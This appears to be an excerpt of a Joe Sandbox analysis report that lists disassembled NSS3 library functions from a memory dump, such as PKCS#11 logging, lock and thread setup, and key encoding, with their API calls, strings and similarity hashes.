Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nvl
API String ID: 1003633598-284515238
Opcode ID: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction ID: ff990fbe767b50cf8c292360391d709c143b795392f06256ba8e5ebdc624f9ef
Opcode Fuzzy Hash: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction Fuzzy Hash: 9341EB71602208AFDB009F10DE9CF6A37B9EB4634DF048034F9096BA51DB709948CB7E

Function 6C687C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C687CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687CF3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C687D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C687D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687D77

Strings

ulSignatureLen = %d, xrefs: 6C687D72
pSignature = 0x%p, xrefs: 6C687D59
hSession = 0x%x, xrefs: 6C687CCE, 6C687CDE
nvl, xrefs: 6C687D8F, 6C687DC3
pData = 0x%p, xrefs: 6C687D25
C_Verify, xrefs: 6C687CB1
ulDataLen = %d, xrefs: 6C687D40
(CK_INVALID_HANDLE), xrefs: 6C687CEC

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nvl
API String ID: 1003633598-4033680503
Opcode ID: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction ID: 891cdfe52b6b1f958b2b871e3efbb6d5ef4f782ddf634e12508c842d5df35402
Opcode Fuzzy Hash: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction Fuzzy Hash: C631A371702148AFDB109F55DE4CEAA3BF2AB4235CF084434F9096BA11DB309948CBBE

Function 6C682F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C682F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682F63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C682F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C682FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C682FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C682FE7

Strings

hSession = 0x%x, xrefs: 6C682F3E, 6C682F4E
nvl, xrefs: 6C682FFF, 6C683030
ulOldLen = %d, xrefs: 6C682FB0
C_SetPIN, xrefs: 6C682F21
ulNewLen = %d, xrefs: 6C682FE2
pOldPin = 0x%p, xrefs: 6C682F95
(CK_INVALID_HANDLE), xrefs: 6C682F5C
pNewPin = 0x%p, xrefs: 6C682FC9

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nvl
API String ID: 1003633598-3987637513
Opcode ID: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction ID: a4b79b0e1421ec2e2d805b612606df912baf784089d4f8c17c66037e965dcc03
Opcode Fuzzy Hash: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction Fuzzy Hash: 9731B375603148AFDB009F55DE4CE8A7BB2EB4735DF484034E909ABB51DB309948CBAE

Function 6C769C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C769C70
PR_NewLock.NSS3 ref: 6C769C85

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000), ref: 6C769C96

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewLock.NSS3 ref: 6C769CA9

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3 ref: 6C769CB9
PR_NewLock.NSS3 ref: 6C769CC9
PR_NewCondVar.NSS3(00000000), ref: 6C769CDA

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(?), ref: 6C769CF0
PR_NewPollableEvent.NSS3 ref: 6C769D03

Part of subcall function 6C75F3B0: PR_CallOnce.NSS3(6C7B14B0,6C75F510), ref: 6C75F3E6
Part of subcall function 6C75F3B0: PR_CreateIOLayerStub.NSS3(6C7B006C), ref: 6C75F402
Part of subcall function 6C75F3B0: PR_Malloc.NSS3(00000004), ref: 6C75F416
Part of subcall function 6C75F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C75F42D
Part of subcall function 6C75F3B0: PR_SetSocketOption.NSS3(?), ref: 6C75F455
Part of subcall function 6C75F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C75F473

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C769D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DAF
_PR_CreateThread.NSS3(00000000,6C769EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769D9F

Part of subcall function 6C63B3C0: TlsGetValue.KERNEL32 ref: 6C63B403
Part of subcall function 6C63B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C63B459

_PR_CreateThread.NSS3(00000000,6C76A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DFC
_PR_CreateThread.NSS3(00000000,6C76A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C769E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C769E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C769E89

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction ID: 47e0bda89cbaa6b437f2cb76a8c6fe7070108346d6ff20ce188df0cb11ec11ae
Opcode Fuzzy Hash: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction Fuzzy Hash: C8612BB1900706AFD710DF76D944AA6BBE8FF49308B044539E85AC7F11EB30E815CBA5

Function 6C663FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C664014

Part of subcall function 6C6639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F,?), ref: 6C663A08
Part of subcall function 6C6639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F), ref: 6C663A1C
Part of subcall function 6C6639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C663A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C664038

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C66404D

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A0F4), ref: 6C6640C2

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C66409A

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C664108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C66411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C664137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C664150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C77A1C8), ref: 6C66417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C664194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6641B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A1A8), ref: 6C66422D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction ID: e8d5ba0a5010404dac0e1cb622ebc99dd7662ea4190aadad98f6853c3db08788
Opcode Fuzzy Hash: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction Fuzzy Hash: F451F6B1A043016BF710DB269C61BB7B6DD9F5234CF140528E95AC6F42FB71E91882AF

Function 6C6A8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E9E
PORT_ArenaAlloc_Util.NSS3(6C7B0B64,00000001,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8E01), ref: 6C6A8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B0B64,6C7B0B64), ref: 6C6A8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C6A8F3F

Part of subcall function 6C6AA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C6AA421,00000000,00000000,6C6A9826), ref: 6C6AA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C6A8E76

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction ID: 0a5e921e9643bca006ffd503c695ffcc5610e738b0be403def85a23dd1839119
Opcode Fuzzy Hash: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction Fuzzy Hash: E66173B5D0010A9BDB10CF96CD44AABB7B5FF88358F244129DC18A7711E732AD16CBB4

Function 6C658E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C658E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C658E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C658EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7818D0,?), ref: 6C658F03
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C658F19
PL_FreeArenaPool.NSS3(?), ref: 6C658F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C658F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C658F65
PL_FinishArenaPool.NSS3(?), ref: 6C658FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C658FFE
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C659012
PL_FreeArenaPool.NSS3(?), ref: 6C659024
PL_FinishArenaPool.NSS3(?), ref: 6C65902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C65903E

Strings

security, xrefs: 6C658EE7

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction ID: 6727b6f100abf774d9a923c139fa9ad8fe012f12834da34d9ee099564e4fab89
Opcode Fuzzy Hash: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction Fuzzy Hash: E95169B1648300ABD7105A14DC41FAB73E8AF8A35CFA0082EF95497F50E731D829876F

Function 6C71CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A

Part of subcall function 6C71CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C68C1A8,?), ref: 6C71CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E

Part of subcall function 6C6405C0: PR_EnterMonitor.NSS3 ref: 6C6405D1
Part of subcall function 6C6405C0: PR_ExitMonitor.NSS3 ref: 6C6405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C71CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CE48

Strings

getnameinfo, xrefs: 6C71CDB2, 6C71CE23
ws2_32.dll, xrefs: 6C71CD75
wship6.dll, xrefs: 6C71CDE3
getaddrinfo, xrefs: 6C71CD88, 6C71CDF9
freeaddrinfo, xrefs: 6C71CD9F, 6C71CE10

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction ID: 4de1f8247834431d80a4a036b94170acac42c10d7a72cda8428bdb0db315982c
Opcode Fuzzy Hash: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction Fuzzy Hash: 121126A6E1B12217EB006AB22E01EAA3C5C9B1310EF5CC534E905D2F41FF21D60983EE

Function 6C761C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7613BC,?,?,?,6C761193), ref: 6C761C6B
PR_NewLock.NSS3(?,6C761193), ref: 6C761C7E

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000,?,6C761193), ref: 6C761C91

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C761193), ref: 6C761CA7

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C761193), ref: 6C761CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C761193), ref: 6C761CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C761193), ref: 6C761D1A

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C761193), ref: 6C761D3D

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C761193), ref: 6C761D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C761193), ref: 6C761D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C761193), ref: 6C761D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C761193), ref: 6C761D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C761193), ref: 6C761D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761D93
PR_DestroyLock.NSS3(00000000,?,?,6C761193), ref: 6C761D9F
free.MOZGLUE(00000000,?,6C761193), ref: 6C761DA8

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

